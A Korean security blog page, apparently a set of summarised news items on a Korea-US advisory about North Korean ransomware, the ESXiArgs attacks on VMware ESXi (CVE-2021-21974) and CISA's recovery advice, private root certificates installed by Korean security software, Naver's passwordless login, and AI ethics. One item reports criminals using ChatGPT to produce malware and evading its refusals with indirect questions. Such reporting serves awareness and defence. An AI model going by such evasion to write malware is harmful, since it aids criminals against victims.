한미 합동 사이버 보안 권고문 발표... 북한 랜섬웨어 공격 대응

국가정보원이 미국 국가안보국(NSA)·연방수사국(FBI) 등 정보기관과 합동으로 북한의 사이버공격 위협 실태를 알리고 이를 예방하기 위한 보안 권고문을 발표했다. 한미 정보기관이 합동 보안 권

www.boannews.com

 

北 해커에 칼 빼든 정부··· “사이버공격이 북한 정권 생명줄”

국가정보원이 미국 국가안보국(NSA), 연방수사국(FBI) 등 정보기관과 합동으로 북한 사이버공격 위협 실태를 알리는 보안 권고문을 발표했다. 그동안 쉬쉬하던 북한 해커의 활동에 대해 정부 차원

n.news.naver.com

 

우리 정부 첫 사이버 분야 대북 독자 제재... 해커 4명과 기관 7곳은?

우리 정부에서 북한의 주요 핵·미사일 개발 자금원 중 하나인 불법 사이버 활동에 대응하기 위한 구체적인 조치들로, 북한의 핵·미사일 개발 자금을 조달하는 개인 4명과 기관 7개를 독자 제재

www.boannews.com

 

사이버 공간을 활용한 북한의 불법적 외화벌이 차단

□ 우리 정부는 북한의 주요 핵,미사일 개발 자금원 중 하나인 불법 사이버 활동에 대응하기 위한 구체 조치들을 취하기로 하였다.□ 첫째, 우리 정부는 2.10.(금) 해외 IT 일감 수주 등 불법 사이

www.korea.kr

 

요약 - VMware ESXi OpenSLP에서 발생하는 원격코드 실행 취약점이 랜섬웨어 유포에 악용
내용 - 최근 VMware ESXi 취약점을 악용해 랜섬웨어가 유포
> KISA은 VMware ESXi의 취약한 버전을 사용하는 사용자는 최신 버전으로 업데이트할 것을 긴급히 권고
> VMware ESXi의 OpenSLP에서 발생하는 원격코드 실행 취약점(CVE-2021-21974)을 악용_해당 취약점은 이미 2년 전에 VM웨어가 패치
※ 영향받는 버전
① 6.5(ESXi650-202102101-SG 이전 버전)
② 6.7(ESXi670-202102401-SG 이전 버전)
③ 7.0(ESXi70U1c-17325551 이전 버전)

※ 패치 버전
 6.5 : ESXi650-202102101-SG 이후 버전
 6.7 : ESXi670-202102401-SG 이후 버전
 7.0 : ESXi70U1c-17325551 이후 버전

- 해당 맬웨어가 이 복구 절차를 무력화하도록 진화
> 해당 랜섬웨어가 타깃으로 삼는 구성 파일의 더 많은 비율을 암호화
기타 - 미국의 사이버 보안 전담 기관인 CISA가 ESXi악스(ESXiArgs) 랜섬웨어의 복호화 도구 ESXiArgs-Recover를 배포하기 시작
> 이미 이를 활용해 복호화에 성공한 사례들이 늘어나는 중

- 복구 스크립트를 사용하기 전에 철저히 검토 필요
> 스크립트는 암호화 된 설정 파일을 삭제하는 게 아니라 새로운 설정 파일을 생성함으로써 가상기계들로 접근할 수 있게 해 주는 기능을 가지고 있기 때문

- CISA 권고
> 스크립트를 실행한 후 즉시 서버를 최신 버전으로 업데이트하고
> ESXiArgs 공격자가 가상머신을 손상시키는 데 사용한 SLP(Service Location Protocol) 서비스를 비활성화
> 시스템을 다시 초기화하기 전에 ESXi 하이퍼바이저를 공용 인터넷에서 차단

- 추가 공격을 방지하기 위한 CISA와 FBI의 권고
> 정기적인 오프라인 백업 유지
> 알려진 맬웨어 벡터(예: SMB 네트워크 프로토콜 초기 버전 등) 제한
> 높은 수준의 내부 보안 등

 

보안뉴스

 

VMware ESXi 취약점 패치 필수! 최근 랜섬웨어 유포에 악용

클라우드 컴퓨팅 및 가상화 소프트웨어 전문기업 VMware의 유닉스 계열 운영체제인 ESXi에서 취약점이 발견됐다. 최근 VMware ESXi 취약점을 악용해 랜섬웨어가 유포되고 있어 기업 담당자들의 철저

www.boannews.com

 

미국 CISA, ESXi 랜섬웨어 피해자들에게 무료 복호화 도구 제공

보안 외신 핵리드에 의하면 미국의 사이버 보안 전담 기관인 CISA가 최근 여러 국가 기관들에서 경고가 나온 ESXi악스(ESXiArgs) 랜섬웨어의 복호화 도구를 배포하기 시작했다고 한다. 이 도구의 이

www.boannews.com

 

“VM웨어 ESXi 서버 랜섬웨어, 복구 스크립트 무력화하는 버전 나왔다”

FBI와 CISA가 VM웨어 ESXi 서버를 타깃으로 한 ESXiArgs 랜섬웨어용 복구 스크립트를 내놨지만 해당 랜섬웨어가 이 복구 절차를 우

www.ciokorea.com

 

엑시악스 랜섬웨어 복구 도구 나오자마자 변종이 새롭게 등장

보안 전문 블로그 시큐리티어페어즈에 의하면 엑스악스(ESXiArgs) 랜섬웨어 운영자들이 벌써 변종을 개발해 사용하기 시작했다고 한다. 어제 미국의 CISA가 복구 스크립트를 개발해 배포하고 난 직

www.boannews.com

 

블로그

 

VMware ESXi OpenSLP 힙 오버플로를 통한 RCE (CVE-2021-21974)

1. ESXi - 가상 컴퓨터를 배치하고 서비스를 제공할 목적으로 VM웨어가 개발한 엔터프라이즈 계열 타입 1 하이퍼바이저 ※ 하이퍼바이저: 단일 물리 머신에서 여러 가상 머신을 실행하고 관리할 수

ggonmerr.tistory.com

1. 개요

- 팔란트가 앞선 2차례 보안 S/W (TouchEnxKey_라온시큐어, IPinside_인터리젠) 취약점을 공유

- 3차 공개된 게시글은 보안 S/W에서의 인증서 사용 방식에대한 문제를 제시

 

1.1 인증서

- Transport Layer Security (TLS)라는 프로토콜을 사용해 브라우저와 웹 서버간 보안통신(암호화)를 적용

- TLS는 소수의 신뢰할 만한 (trusted) 인증 기관(CA; Certification Authority)에서 발행하는 웹사이트의 인증서(certificate)를 통해 해당 웹사이트가 맞다는 신분을 증명

 

2. 취약점

- 보안 S/W가 암호화 통신을 위해 사설인증서를 PC 영역에 설치하여 사용

※ 보안 S/W : 아래 표 참조

※ PC 영역 : 신뢰할 수 있는 최상위 인증기관의 인증서를 보관하는 영역

※ 설치 : 브라우저와 보안 S/W 간 암호화 통신을 위해 사설인증서를 브라우저가 신뢰할 수 있도록 해당 기관을 최상위 인증기관으로 등록

 

- 현재까지 한국의 어플리케이션에 의해 다음 인증 기관이 설치됨

이름 설치하는 애플리케이션 유효기간 시리얼 넘버
ASTxRoot2 AhnLab Safe Transaction 2015-06-18 to 2038-06-12 009c786262fd7479bd
iniLINE CrossEX RootCA2 TouchEn nxKey 2018-10-10 to 2099-12-31 01
INTEREZEN CA Interezen IPInside Agent 2021-06-09 to 2041-06-04 00d5412a38cb0e4a01
LumenSoft CA KeySharp CertRelay 2012-08-08 to 2052-07-29 00e9fdfd6ee2ef74fc
WIZVERA-CA-SHA1 Wizvera Veraport 2019-10-23 to 2040-05-05 74b7009ee43bc78fce69 
73ade1da8b18c5e8725a
WIZVERA-CA-SHA2 Wizvera Veraport,
Wizvera Delfino
2019-10-23 to 2040-05-05 20bbeb748527aeaa25fb
381926de8dc207102b71

 

- 이로인해 다음과 같은 문제가 발생

① TLS가 제공하는 보호를 약화 시킴

② 인증 기관을 악용할 경우 많은 한국의 사용자를 대상으로 웹사이트를 사칭할 수 있음

 

2.1 사설인증서의 미삭제 문제

- 해당 보안 S/W가 삭제되어도 사설인증서는 삭제되지 않음

※ 인증서 수동 삭제 필요

 

2.2 사설인증서의 악용 문제

- 사용 용도에 대해 제한을 두지 않아 비밀키 유출 시 다른 용도로 악용 가능

※ 타 웹 서버 인증, 코드서명, 이메일 서명 등

 

2.3 사설인증서의 비밀키에 대한 관리 문제

- 사설인증서와 관련된 비밀키의 안전한 보관 여부, 접근 권한에 대해 알지 못하며, 제3자에 의한 감사를 받지 않음

※ 사용자들은 비밀키를 안전하게 보관할 것이라 믿을 수 밖에 없으나, 앞서 공개된 게시글에 따르면 낮은 보안성을 가짐

 

3. 해결방안

- 보안 S/W의 사설인증서 사용이 안전한 통신을 위한 것임을 설명하며, 보다 안전한 방법을 제시

- 방안 : 동일한 인증기관을 모든 컴퓨터에 설치하는 대신, 각각의 컴퓨터마다 다른 인증서를 등록

※ 자체 인증 기관을 설치하지만 한 컴퓨터에서만 유효하고 거기에서만 실행되기 때문에 상대적으로 안전

- 방안의 절차는 다음과 같음

① 새 인증 기관 및 대응되는 비밀키를 (무작위로) 생성

② 컴퓨터의 신뢰할 만한 인증 기관 목록에 추가

③ 127.0.0.1을 위한 인증서를 만들고 위 인증 기관의 비밀 키로 서명

④ 인증 기관의 비밀키를 파기

※ 이니텍 CrossWeb Ex V3의 경우 위와 같은 방법으로 동작하는 것으로 추정_유효기간 시작일이 설치 날짜와 동일한지 보면 쉽게 알 수 있음

 

4. 참고

- https://palant.info/2023/02/06/weakening-tls-protection-south-korean-style/

- https://github.com/alanleedev/KoreaSecurityApps/blob/main/03_weakening_tls_protection.md

요약 - 네이버가 국내 검색 포털 기업 최초로 모바일 기기를 대상으로 ‘패스워드리스’ 로그인 방식을 적용
※ ‘패스워드리스’ 방식: 비밀번호 없이 생체인식이나 일회용비밀번호(OTP) 등을 통해 더 안전하게 로그인할 수 있도록 하는 보안 방식
※ 안드로이드 폰 사용자의 네이버 앱 최초 설치 사용자에게만 시범 적용
내용 - 네이버는 새로운 패스워드리스(passwordless) 방식 적용을 통해 해킹 위험을 감소시키고, 사용 편의성을 향상시킬 수 있다고 밝힘
> 로그인 방식은 지금까지 패스워드 입력, 지문인식 등이 주된 방식으로 사용
> 로그인 시 경우에 따라 보안 강화를 위해 저마다 전화 또는 문자 인증 등을 통한 2차 인증을 필수로 채택
> 기존 ‘패스워드 입력’이라는 부분은 변치 않는 필수 단계였고, 비밀번호 탈취 사고도 끊임없이 이어짐
> 이에따라 패스워드리스(passwordless) 도입

- 개인정보 수집 및 이용
> “비밀번호 없이 로그인 인증 절차 안내-아이디를 찾으려면 ‘전화’ 권한이 필수입니다. 기기의 전화번호를 인증 시스템으로 전송하여 인증하고, 인증 내역을 1년간 보관합니다”

- 네이버의 ‘패스워드리스’ 로그인 방식은 사용자의 보안성 및 편의성 강화를 중점
> 기존 웹 서비스는 비밀번호 노출 사고가 많이 발생해 주기적으로 비밀번호를 변경하는 정책을 도입해 사용
※ 전세계 매초 579건, 매년180억건 발생하는 비밀번호 해킹사고 중 80%가 중복 사용암호 때문
> 잦은 비밀번호 변경은 사용자들에게 어렵고 복잡한 비밀번호의 설정보다는 기억하기 쉬운 비밀번호를 설정하도록 유도하고, 이는 비밀번호의 유출 가능성을 더욱 높일 수 있음
> 패스워드리스 로그인 방식은 비밀번호 유출로 인한 피해를 예방, 비밀번호를 기억하기 어려워하는 사용자들의 불편을 해소하기 위한 목적으로 도입

- 동작방식
① 사용자 동의 후 획득할 수 있는 기본 정보와 함께 사용자가 직접 입력한 회원정보를 활용해 본인 인증
본인 인증이 완료되면 아이디/비밀번호 입력 단계를 생략하고 보안인증으로 로그인을 완료

- 상당수의 국내 애플리케이션은 사용자 편의성을 위해 ‘네이버 로그인’ 방식을 적용
> 네이버 로그인을 적용한 앱에 로그인하기 위해서는 네이버 로그인 페이지에서 로그인
> 이 경우 로그인을 하려는 스마트폰 기기에 네이버 앱이 설치 및 로그인이 완료된 상태여야 함
> ‘네이버 앱 로그인’ 버튼을 이용해 별도의 아이디와 패스워드 입력 없이 로그인이 가능
기타 - 패스워드리스 로그인 방식의 핵심은 ‘안정성’과 ‘편의성’
> 아이디와 패스워드를 매번 직접 입력하는 방식과 비교해 보안 측면에서 더욱 안전
> 남녀노소 누구나 손쉽게 사용 가능

- 패스워드리스
> 22.05.05 글로벌 IT기업 3사 애플, 구글, MS는 패스워드리스 로그인 방식의 대중화 지원을 확대하는 공동성명을 발표
> 비밀번호를 사용하지 않고 생체인식 (FIDO)이나 일회용 비밀번호 (OTP)등을 통해 더 안전하게 로그인 할 수 있도록 하는 보안 방식
> 편의성뿐만 아니라 안전성을 높여줌
> 일반적인 비밀번호, 문자로 일회성 비밀번호를 전송해 로그인하는 다중 인증 기능에 비해 더 안전하다는 평가
> 피싱 사기를 예방하는데도 보다 효과적인 것으로 알려짐

 

보안뉴스

 

[패스워드리스 체험기] 네이버의 야심찬 선언 “비밀번호여, 이젠 안녕”

네이버가 국내 검색 포털 기업 최초로 모바일 기기를 대상으로 ‘패스워드리스’ 로그인 방식을 적용했다. 네이버는 올해 초 스마트폰 안드로이드 기기에 한정해 기존에 ‘네이버’ 관련 다양

www.boannews.com

 

요약 - 다크웹 내 포럼에서 활동하는 사이버 범죄자들이 챗GPT를 악성 공격에 활용한 사례들이 공유
- 챗GPT를 사용해 악성코드나 피싱메일 등 해킹도구를 개발한 사례가 적발
※ 챗GPT: 미국 오픈AI가 개발한 대화형 인공지능(AI) 채팅로봇. 대규모 AI모델인 ‘GPT-3.5’ 언어 기술을 사용해 이용자와 실시간으로 대화가 가능
내용 - 오픈AI의 서비스약관
> 랜섬웨어, 키로거, 바이러스 또는 일정 수준의 피해를 입히려는 기타 소프트웨어 생성을 시도하는 콘텐츠를 악성코드로 정의하고 생성을 구체적으로 금지
> 사이버 범죄를 겨냥한 사용과 스팸 생성 시도도 금지

- 챗GPT가 작성해준 코드 스크립트에 약간의 작업만 거치면 랜섬웨어나 키로거 등을 만들 수 있다는 사실을 확인
> 공격자들은 챗GPT가 작성해준 코드 스크립트를 일부 수정 작업을 거쳐 랜섬웨어 등으로 탈바꿈
> 챗GPT를 통해 해커가 기존보다 더 신뢰할 수 있고 적법한 것처럼 보이는 피싱 이메일을 만들 수 있게 될 것

> 이같은 방법을 타 공격자들과 공유

- 다크웹 내 공개 사례
① 다크웹 해킹 포럼에서 누군가 챗GPT를 활용해서 예전부터 잘 알려진 멀웨어를 개발하는 실험을 진행했다고 공개
> 챗GPT가 자신의 명령에 따라 개발한 파이선 기반 정보 탈취 멀웨어의 코드 일부를 공유_12가지 종류의 파일을 훔쳐내는 멀웨어
> 챗GPT에게 명령을 내려 PuTTY SSH와 텔넷 클라이언트를 다운로드 받는 자바 코드를 만들었고, 파워셸을 통해 피해자 시스템에서 몰래 실행시키는 데에 성공

② 12월 1일 사용자 USDoD가 챗GPT를 사용해 생성한 파이선 스크립트를 다크웹에 공개
> 블로피시(Blowfish)와 투피시(Twofish)라는 암호화 알고리즘을 사용해 데이터를 암호화 하고 복호화 하는 기능
> 공격자들이 악의적인 목적을 달성하기 위해 얼마든지 활용할 수 있으며 경험 없이도 쉽게 뭔가를 만들어 내는 게 가능하다고 강조

③ 챗GPT를 사용해 완전 자동화 된 다크웹 시장 플랫폼을 구축
> 훔쳐 낸 은행 계좌 및 지불 카드 데이터를 거래하는 데 특화된 시장이
> 자신의 말을 입증하기 위해 서드파티 API를 활용하는 방법까지 공개
 
- 챗봇은 이미 예전부터 범죄 시장으로의 진입 장벽을 크게 낮출 기술로 꼽혔었음
> 챗GPT와 같은 챗봇은 사람의 말을 듣고(혹은 읽고) 반응하는 기술
> 공격자들이 멀웨어를 손쉽게 대량으로 만들어내는 것이 챗GPT가 단기간에 가져올 수 있는 가장 실질적인 위협
> 기술을 갖춘 공격자가 챗봇을 악용하면 이전과 비교할 수 없는 발전을 이룰 수 있으며, 아무도 생각하지 못했던 새로운 멀웨어를 만들어낼 수 있음

- 챗GPT 언어모델이 보다 정교해지면 공격자들의 간단한 명령어만으로 악성코드나 피싱메일 프로그램을 보다 쉽게 개발할 수 있음
> 초보 해커도 손쉽게 피싱 범죄에 가담하는 등 사이버 범죄 진입 장벽이 대폭 낮아질 것
> 부족한 기술적 배경지식과 전문 기술을 보완할 가능성
> 시스템 취약점을 찾아내고 이를 악용한 제로데이 공격까지 유발하는 단계로 진화될 수 있음
결론 - 오픈AI와 인공지능 개발자들은 인공지능 알고리즘을 향상시키는 중
> 공격자들이 무료로 얻어 활용할 수 있는 도구들이 무한정 태어나고 있다는 뜻
> 챗GPT를 교란시켜 악의적 목적을 달성하는 방법은 해킹 포럼들에서 활발히 공유되는 중
> 지금 향상시키고 있는 각종 인공지능 알고리즘이 악성 명령을 판단해 거부할 수 있도록 훈련시키는 것이 필요

- 규제를 통해 챗GPT가 범죄에 사용되지 못하도록 보호가 시행돼야 할 필요
> 챗GPT를 활용한 사이버 범죄가 아직까지 위협적인 수준은 아니라고 지적 有
> 코드 품질에 대해 알 수 없는 상황이며, 완성도 높은 코드를 생성한 사례는 보고되지 않음
> 챗GPT를 규제하는 것은 섣부른 판단

- 오픈AI 측에서 내부 모니터링 및 차단 등 내부적인 대응 방법을 찾아낼 필요
> 오픈AI 측도 이러한 위험성을 인지하고 AI가 범죄에 악용되는 것을 막기 위해 시스템을 고도화하는 중
> “불법적이거나 비윤리적인 목적으로 코드를 개발하는 것을 도와줄 수 없다”라며 답변을 거부
> 노골적인 질문에 대한 답변만을 거부할 수 있을 뿐, 우회적인 질문을 입력할 경우 답변을 얻을 수 있다고 설명

- 업계와 정부 측이 이러한 악용사례를 예방하기 위해 프로그램을 고도화하고 다양한 해결책을 제시할 필요

 

보안뉴스

 

챗GPT 활용한 악성 공격 실험 사례, 이미 여럿 존재한다

지난 11월 오픈AI(OpenAI)에서 챗GPT(ChatGPT)라는 인공지능 챗봇을 공개한 이후 수많은 보안 전문가들이 목소리를 모아 예언을 하나 했었다. 사이버 범죄자들이 챗봇을 이용해 멀웨어를 작성하는 등

www.boannews.com

 

비밀번호 털어간 초보 해커, 공범은 '챗GPT'? - 머니투데이

챗GPT로 악성코드·데이터 암호복호화 프로그램 개발 다크웹에 챗GPT 활용 사이버범죄 방법 다수 공유"코드 품질 알 수 없다…아직 위협적이진 않아&quo...

news.mt.co.kr

 

"다크웹에서도 챗GPT"...사이버 공격 활용 사례 늘어난다 - 테크M

초거대 인공지능(AI) 기반 대화형 챗봇 \'챗GPT\' 파장이 거세다. 사용자 질문에 대답을 하는 단순한 기능을 넘어, 각종 창작 활동이 가능하다는 사실에 전세계가 술렁이고 있다.특히 논문, 연설문,

www.techm.kr

 

‘챗GPT’ 스팸 이메일도 쓴다… AI 활용 ‘해킹 공격’ 주의보

챗GPT 스팸 이메일도 쓴다 AI 활용 해킹 공격 주의보 세계적으로 열풍인 챗GPT, 해커도 활용해 어색하지 않은 피싱 이메일·간단한 악성코드 개발 악용 사례 막으려고 해도 여전히 우회 가능

biz.chosun.com

 

다크버스에도 챗GPT 열풍…초보해커들도 쉽게 악성코드 제작

‘제2의 알파고 쇼크’로 불리는 ‘챗GPT’가 미래 일자리·교육·사회를 바꿀 지각개편의 핵(核)으로 주목을 받고 있는 가운데, 사이버 범죄자들이 챗GPT를 악성코드와 다크웹 플랫…

www.donga.com

 

AI 챗봇 챗GPT, 악성코드 작성에도 쓰인다

오픈AI의 대화형 AI 챗봇 '챗GPT'기 해커의 악성코드 작성에 쓰이고 있는 것으로 확인됐다.9일(현지시간) 미국지디넷에 따르면, 체크포인트는 해킹 커뮤...

zdnet.co.kr

 

요약 - 새롭게 떠오르는 기술들이 많으나, 그 특징과 장점들이라는 것이 약이 될지 독이 될지 아무도 예측할 수 없음
내용 -  최근 챗GPT(ChatGPT)라는 인공지능 기술이 일반인 사이에서 화제
> 오픈에이아이(Open AI)가 2022년 12월 1일 공개한 대화 전문 인공지능 챗봇
> Open AI에서 만든 대규모 인공지능 모델인 ‘GPT-3.5’ 언어 기술을 사용

- 딜로이트가 이와 관련하여 조사를 진행
> 90%의 응답자가 “신기술들의 발전과 활용을 위한 법적/윤리적 가이드라인이 부족한 것 같다”고 답변

- 산업 내 전문가들과 시장 분석가는 상반된 입장
> 가이드라인이 있다는 것을 종사자들조차 인지하지 못하고 있다는 것
> 신기술이기 때문에 예측 못한 결과들이 자꾸만 같이 나오고 있다는 것이 문제
> 현재 개발되고 있는 기술 하나하나에 상응하는 규정이나 윤리 가이드라인을 만드냐 마느냐를 문제 삼을 것이 아니라, 예측이 불가능한 것들을 예측할 수 있게 해 주는 구조적 원리를 고안해야 함

- HTTP 쿠키 기술의 발전 역사를 예시로 들 수 있음
> HTTP 쿠키: 사용자가 웹사이트에 방문할 때 각종 데이터와 활동 내용들을 기록하는 기술
> 사용자의 모든 행위를 임의로 기록한다는 것의 위험성이 쿠키 초창기에서부터 제기
> 사용자들이 이런 기록 행위에 동의를 해야만 한다는 인식이 사회적으로 생기고 그걸 기업들이 받아들이기 시작한 건 겨우 5년

- 문제는 규정의 부재가 아니라, 규정이 있다는 사실에 대한 인식의 부재
> 의외로 신기술 개발과 발전에 대한 가이드라인들이 존재하나 오래 전부터 있어 왔던 건 아니고 최근 들어 생겨나기 시작
> ‘미완성’ 혹은 ‘미성숙’ 기술들을 도입하는 속도가 전례를 찾기 힘들 정도_가이드라인 개발의 더딤이 더 크게 느껴지고, 그래서 가이드가 대부분 없다고 여김
> 신기술이 발명되는 것과 그 기술이 책임감 있게 사용되는 것의 간극이 너무 크고, 거기서부터 온갖 윤리적, 사회적 논의들이 나오고 있는 것
> 특정 기술을 개발한다고 했을 때 투명성과 설명 가능성을 처음부터 염두에 두고 설계를 하는 것이, 나중에 예상치 못한 결과가 나왔을 때 대처하는 것보다 나음

- 윤리적 딜레마가 생겨나는 데에는 몇 가지 중요한 요소가 있음
> 인공지능의 경우 비윤리적인 활용 문제, 데이터 프라이버시 문제, 편향성 문제를 고려_규정과 표준들도 세 가지 문제 안에서 마련
> ‘인공지능의 비윤리적 활용’이 사회에 미칠 수 있는 영향에 대해서는 충분히 논의되지 않음
> 기술의 활용이라는 것이 개발사나 사용자의 고유 권리라는 관념들이 존재
> 윤리학자와 철학가들을 초빙해 같이 논의를 이끌어 가는 것도 좋은 방법

- 가이드라인들은 찾아보면 생각보다 많으나 그것을 각 조직이 상황에 맞게 해석해 적용하는 것이 어렵다는 것
기타 - 여러 국가들이 인공지능, 양자컴퓨터, 자율 주행 자동차와 같은 기술들을 제대로 활용하기 위한 각종 제도들을 고민 중
① 세계 기술 정책 위원회(Technology Policy Council)의 ‘책임 있는 알고리즘 시스템의 원칙 선언(Statement on Principles for Responsible Algorithmic Systems)’
> 아홉 가지 원칙이 담겨져 있음
> 정당성과 역량, 피해의 최소화, 보안과 프라이버시, 투명성, 해석 가능성과 설명 가능성, 유지 가능성, 경쟁 가능성과 감사 가능성, 책임, 환경적 충격 최소화

② 유럽평의회의 ‘인공지능법(Artificial Intelligence Act)’
> 인공지능의 윤리적인 개발을 위해 지역 전체에 영향을 주는 법적 장치를 마련하고자 한 건 이 인공지능법이 처음

③ 세계경제포럼(WEF)의 ‘양자컴퓨팅거버넌스원칙(Quantum Computing Governance Principles)’
> 양자컴퓨터에 관한 가이드라인과 표준

④ 미국의 ‘인공지능 권리장전(AI Bill of Rights)’

⑤ 영국 데이터윤리혁신센터(Centre for Data Ethics and Innovation)의 ‘효과적인 인공지능 보장 생태계를 위한 로드맵(Roadmap to an effective AI assurance ecosystem)’

- 규정과 표준이 정해지면 혁신이 저해된다는 시각이 만연
> 오히려 위험한 낭떠러지에 떨어지지 말라는 안전 펜스와 같은 역할을 할 때가 더 많음

 

보안뉴스

 

챗GPT 등 떠오르는 신기술들은 많은데, 제어 장치는 마련돼 있나

새롭게 떠오르는 기술들이 넘쳐나고 있다. 여러 가지 특징과 장점들을 선보이고 있다. 다만 그 특징과 장점들이라는 것이 약이 될지 독이 될지 아무도 예측할 수 없다. 최근 챗GPT(ChatGPT)라는 인

www.boannews.com

+ Recent posts